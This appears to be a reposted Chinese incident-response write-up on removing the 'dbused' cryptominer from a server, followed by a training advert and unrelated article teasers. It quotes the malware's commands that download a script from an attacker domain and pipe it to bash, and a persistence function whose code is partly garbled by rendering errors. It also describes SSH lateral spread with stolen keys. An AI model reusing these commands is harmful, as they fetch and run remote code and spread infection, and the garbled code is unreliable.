记一次与挖矿木马的较量

一、 概述

本文主要是记录了一次针对 挖矿程序 的应急响应处理,从三个部分来解读此次事件:

1、事件描述部分,确认是否有挖矿程序。

2、现场分析部分,讲了是如何一步一步杀掉挖矿程序。

3、程序分析部分,针对挖矿脚本的详细解读。杀死竞争挖矿程序、进程守护、传播挖矿。

##二、 疑惑的用户

前几天接到客户反映,他们有一台服务器资产存在异常现象,原本配置的crontab定时任务全被修改,用户重新对crontab进行配置,无法起到效果,瞬间就会被自动清空掉。定时任务的异常行为导致原本很多的正常业务无法正常运行,同时还发现存在可疑进程,希望能协助进行问题分析,并尽快进行处置。

##三、 受打击的研究员

研究人员首先分析crontab的问题,使用crontab -l查看定时任务,发现只存在一个可疑的任务进程,如下图所示。

image.png

图1 定时命令1

从命令看起来是为了获取http://a.oracleservice.top地址的一

image.png

图2 聚铭情报云查结构

与客户确认该定时任务是可疑的之后,又用top查看了系统资源,发现了一个程序名称为“dbused”的可疑进程,长时间的cpu资源占用达到了100以上。

利用可疑的进程PID,从/proc/[PID]目录下的’exe’文件定位到源文件来自于/tmp目录下的dbused。

将可疑文件扔到VT进行检测,发现极可能与“CoinMiner”挖矿木马相关。

image.png

图3 VT检测结果

看来这次攻击八九不离十就是挖矿木马相关的攻击了,定时程序应该就是用来下载挖矿程序的,只要先把定时程序删除,再删除恶意程序就行了,于是一一删除之,应该就可以交代了。

想法很美好,现实却很残忍。几秒后,发现恶意进程和定时任务全部恢复了,一朝回到解放前,看来是把问题想得太简单了。

##四、 研究员的反击

研究员开始痛定思痛,其实在第一次分析的时候还忽略了几个关键的线索:* 用户反映crontab会被自动刷新(说明存在维持进程)* 未查看系统可疑进程* 未分析下载的内容

于是乎,ps -ef查看系统进程,发现存在五个以上的恶意下载进程,和之前发现的定时任务一模一样,确实存在多个维持进程。

curl -fsSL http://a.oracleservice.top/xms||wget -q -O-
http://a.oracleservice.top/xms||python -c ‘import urllib2 as fbi;print
fbi.urlopen(“http://a.oracleservice.top/xms”).read()’)| bash -sh; lwp-download
http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

image.png

图4 查看进程

突破口都指向下载的可疑文件,下载进行分析,分析发现是一个结合资源准备、同类竞争、进程维持、横向扩散、痕迹清除的脚本。

image.png

图5 下载可疑文件

###Step1:最大化这个进程的使用资源

image.png

图6 准备工作

1.脚本先将系统的selinux防火墙设置为关闭。

2.脚本将用户最大可用的进程数调整到5万,便于最大化占用主机资源。

3.修改内存参数,目的也是最大化占用主机资源。

###Step2:删除竞争进程

image.png

图7 杀死竞争进程

这里目的是为了关闭一些进程,这里的关闭进程的行为,目的是为了杀掉其他的一些挖矿进程,只允许自己的程序挖矿。

查看列出杀死的连接IP情报,基本都是与挖矿或木马相关。

image.png

图8 竞争进程的连接IP1

image.png

图9 竞争进程的连接IP2

image.png

图10 竞争进程的连接IP3

###Step3:删除文件的特殊属性使得文件可以被修改操作

image.png

图11 chattr修改文件属性

chattr命令mod解释

i:即Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。

a:即Append
Only,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。

最后将定时任务,进行了类似锁定操作。

###Step4:确保连通性

先解除/tmp/dbused目录下面的锁定。

确定本机ip地址的范围(16位掩码)。

确保主机能与恶意负载域名pool.supportxmr.com、a.oracleservice.top连通。

image.png

图12 确保连通性

###Step5:创建定时任务

image.png

图13 创建定时任务

一共创建了5个cron维持进程。* /etc/cron.d/root* /etc/cron.d/apache* /etc/cron.d/nginx* /var/spool/cron/crontabs* /etc/cron.hourly/oanacroner1

image.png

图14 /etc/cron.d下的定时任务

image.png

图15 防止文件被修改

###Step6:维持进程1

即确保dbused这个文件能正常运行。写了几个备用的函数,judge函数就是,如果dbused文件正常运行了,那么就会存在三个连接,如果没有正常运行,那么就重新运行一下dbused文件。

image.png

图16 judge函数

image.png

图17judge函数2

###Step7:维持进程2

cronbackup()函数为了确保定时任务的正常运行,一旦其中一个定时任务被删除,就会执行另一个定时任务。

cronbackup() {

pay=“(curl -fsSL $url/xms||wget -q -O- KaTeX parse error: Expected group as argument to '\"' at end of input: … fbi.urlopen(\"url/xms”).read()')| bash -sh; lwp-download
$url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"

status=0

crona=$(systemctl is-active cron)

cronb=$(systemctl is-active crond)

cronatd=$(systemctl is-active atd)

if [ “$crona” == “active” ] ; then

echo “cron okay”

elif [ “$cronb” == “active” ]; then

echo “cron okay”

elif [ “$cronatd” == “active” ] ; then

status=1

else

status=2

fi

if [ $status -eq 1 ] ; then

for a in $(at -l|awk ‘{print $1}’); do at -r $a; done

echo “$pay” | at -m now + 1 minute

fi

if [ s t a t u s − e q 2 ] ∣ ∣ [ " status -eq 2 ] || [ " statuseq2]∣∣["me" != “root” ] ;then

arr[0]=“/dev/shm”

arr[1]=“/tmp”

arr[2]=“/var/tmp”

arr[3]=“/home/$(whoami)”

arr[4]=“/run/user/$(echo $UID)”

arr[5]=“/run/user/$(echo $UID)/systemd”

rand= [ [ [RANDOM % ${#arr[@]}]

echo “Setting up custom backup”

ps auxf|grep -v grep|grep “cruner” | awk ‘{print $2}’|xargs kill -9

key=“while true; do sleep 60 && $pay; done”

echo -e “$key\n##” > KaTeX parse error: Expected '}', got 'EOF' at end of input: {arr[rand]}/cruner && chmod 777 KaTeX parse error: Expected '}', got 'EOF' at end of input: {arr[rand]}/cruner

nohup KaTeX parse error: Expected '}', got 'EOF' at end of input: {arr[rand]}/cruner >/dev/null 2>&1 &

sleep 15

rm -rf KaTeX parse error: Expected '}', got 'EOF' at end of input: {arr[rand]}/cruner

fi

}—###Step8:横向传播

从系统文件中获取ssh连接过的IP地址和连接的密钥,再通过遍历尝试ssh连接到别的主机并执行恶意命令。也就是说主机登录过其他主机的话,那么其他主机也会被注入,细思极恐。

ssh连接用到的几个配置* -oStrictHostKeyChecking=no (关闭SSH公钥检查,这是ssh一个重要的安全机制,可以防范中间人劫持等黑客攻击。)* -oBatchMode=yes(当 key 认证不成功时,不弹出告警防止自动化中断)* -oConnectTimeout=5(超时限制)* -i(使用密钥文件登录)

image.png

图18 横向传播

image.png

图19 被获取的部分密钥文件

image.png

图20 可能被感染的其它主机

###Step9:痕迹清除

对执行过程中遗留的文件进行清除,减小被发现的风险。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dz2nzoiV-1690357665804)(https://image.3001.net/images/20220222/1645498302_62144fbee439880e9f274.png!small)]

图21 清除痕迹

了解清楚这个恶意脚本后,便开始对该恶意程序进行处置:

1.先‘service crond status’关闭cron服务。

2.对所有cron定时文件进行清除。

3.杀死所有恶意进程。

4.删除所有下载的相关恶意文件。

5.启动selinux。

6.修改本机和可能被感染主机的ssh密码。

7.对可能感染的主机进行检查。

采取了以上的操作之后,挖矿程序终于不再“复活”了,crontab也恢复正常使用。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/8608.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

客户案例 | 思腾合力服务器助力西安电子科技大学人工智能实验室建设

客户介绍 西安电子科技大学是以信息与电子学科为主,工、理、管、文多学科协调发展的全国重点大学,直属教育部,是国家“优势学科创新平台”项目和“211工程”项目重点建设高校之一、国家双创示范基地之一、首批35所示范性软件学院、首批9所示范…

基于Java+SpringBoot+vue前后端分离网上购物商城系统设计实现

博主介绍:✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专…

使用STM32 再实现循迹/跟随/摇头避障小车

循迹小车 硬件介绍和接线 TCRT5000 使用方法和原理见89C52时期的介绍。 循迹小车需要使用两个TCRT5000,左侧的DO接到PB3;右侧的DO接到PB4 CubeMX 1. 在上节的基础上进行修改 配置两个传感器的GPIO 2. 惯例配置更新代码 Keil 注意,如果…

docker-compose yml配置、常用命令

下载完docker-compose后,如果想使用docker-compose命令开头,需要创建软连接 sudo ln -s /usr/local/lib/docker/cli-plugins/docker-compose /usr/bin/docker-compose 1.docker-compose.yml文件编排 一个 docker-compose.yml 文件的顶层元素有&#xff…

flask介绍、快速使用、配置文件、路由系统

前言: Flask框架和Django框架的区别: Django框架: 大而全,内置的app的很多,第三方app也很多Flask框架: 小而精,没有过多的内置app,只能完成web框架的基本功能,很多功能都需要借助第三…

Ceph组件

Ceph组件 无论是想向云平台提供Ceph 对象存和 Ceph 块设备服务、部署Ceph 文件系统,或者是将 Ceph 用于其他目的,所有 Ceph 存储集群部署都从设置每个 Ceph 节点、网络开始。 一个Ceph 存储集群至少需要一个Ceph Monitor、Ceph Manager和 Ceph OSD (OBJECT STORAGE DAEMON对象存…

翻转单词顺序

剑指 Offer 58 - I. 翻转单词顺序 输入一个英文句子,翻转句子中单词的顺序,但单词内字符的顺序不变。为简单起见,标点符号和普通字母一样处理。例如输入字符串"I am a student. “,则输出"student. a am I”。 示例 1…

[虚幻引擎] UE里面监控每帧循环里面 C++ 函数的性能, 函数耗时,函数效率,函数执行时间

在使用C开发UE引擎,有时候需要监控函数的执行的执行效率,这个时候有两种方式可以使用。 1. 执行代码耗时时间 double ThisTime 0;{SCOPE_SECONDS_COUNTER(ThisTime);// ...// 一串代码// ...}UE_LOG(LogTemp, Log, TEXT("Stats::Broadcast %.2f&qu…

65英寸OLED透明屏的显示效果出色吗?

65英寸OLED透明屏是一种新型的显示技术,它采用有机发光二极管(OLED)作为显示元件,具有高亮度、高对比度、快速响应和广视角等优点。 与传统的液晶显示屏相比,OLED透明屏具有更高的透明度和更好的显示效果。 OLED透明屏…

【STM32】使用HAL库对ULN2003控制28BYJ-48步进电机

步进电机是将电脉冲信号转变为角位移或线位移,通过控制施加在电机线圈上的电脉冲顺序、频率和数量,可以控制步进电机的转向、速度和旋转角度。 配合以直线运动执行机构(螺纹丝杆)或齿轮箱装置,更可以实现更加复杂、精密的线性运动控制要求。…

PDF文件转换成word软件有哪些?分享两个文件格式转换软件

在日常办公中,我们经常使用各种办公软件,其中PDF和Word是最常见的两种格式。相较于Word文件,PDF文件具有更强的兼容性和安全性,因此我们通常会选择以PDF格式分享文件。然而,如果我们需要提取PDF文件中的部分内容&#…

计算机启动过程uefi+gpt方式

启动过程: 一、通电 按下开关,不用多说 二、uefi阶段 通电后,cpu第一条指令是执行uefi固件代码。 uefi固件代码固化在主板上的rom中。 (一)uefi介绍 UEFI,全称Unified Extensible Firmware Interface&am…

JVM运行时数据区——字符串常量池位置的调整

在JDK6及之前,使用永久代来实现方法区,字符串常量池(StringTable)是在永久代(方法区)中的,但是方法区的回收效率不高,在Full GC时才会回收。 在JDK7中,将字符串常量池转移到了堆中,分配在年轻代和老年代中。…

linux 使用nethogs命令查看各个进程使用网络的情况

1,使用nethogs命令查看各个进程使用网络的情况 #yum -y install nethogs 2,使用nethogs命令查看进程使用网络的情况 #nethogs

PHP8知识详解:PHP8的新特性

PHP 8是PHP编程语言的一个主要版本,在2020年11月26日发布。它引入了许多新特性和改进,包括以下一些主要特性: 1. JIT 编译器:PHP 8引入了名为Tracing JIT的即时(Just-In-Time)编译器。JIT可以将PHP脚本中频…

【C++ 进阶】继承

一.继承的定义格式 基类又叫父类,派生类又叫子类; 二.继承方式 继承方式分为三种: 1.public继承 2.protected继承 3.private继承 基类成员与继承方式的关系共有9种,见下表: 虽然说是有9种,但其实最常用的还…

Stable diffusion 和 Midjourney 怎么选?

通过这段时间的摸索,我将和你探讨,对普通人来说,Stable diffusion 和 Midjourney 怎么选?最重要的是,学好影视后期制作对 AI 绘画创作有哪些帮助?反过来,AI 绘画对影视后期又有哪些帮助&#xf…

28.JavaWeb-Elasticsearch

1.Elasticsearch概述 Elasticsearch 是一个分布式的全文检索引擎。采用Java语言开发,基于Apache协议的开源项目,具有实时搜索,稳定,可靠,快速的特点。 1.1 全文检索引擎 分为通用搜索引擎(百度、谷歌&…

【深度学习】【Image Inpainting】Generative Image Inpainting with Contextual Attention

Generative Image Inpainting with Contextual Attention DeepFillv1 (CVPR’2018) 论文:https://arxiv.org/abs/1801.07892 论文代码:https://github.com/JiahuiYu/generative_inpainting 论文摘录 文章目录 效果一览摘要介绍论文贡献相关工作Image…

【Java SE】类和对象

目录 【1】面向对象的初步认识 【1.1】什么是面向对象 【1.2】面向对象与面向过程 【2】类定义和使用 【2.1】简单认识类 【2.2】类的定义格式 【2.3】练习 【2.3.1】定义一个狗类 【2.3.2】定义一个学生类 【3】类的实例化 【3.1】什么是实例化 【3.2】类和对象的…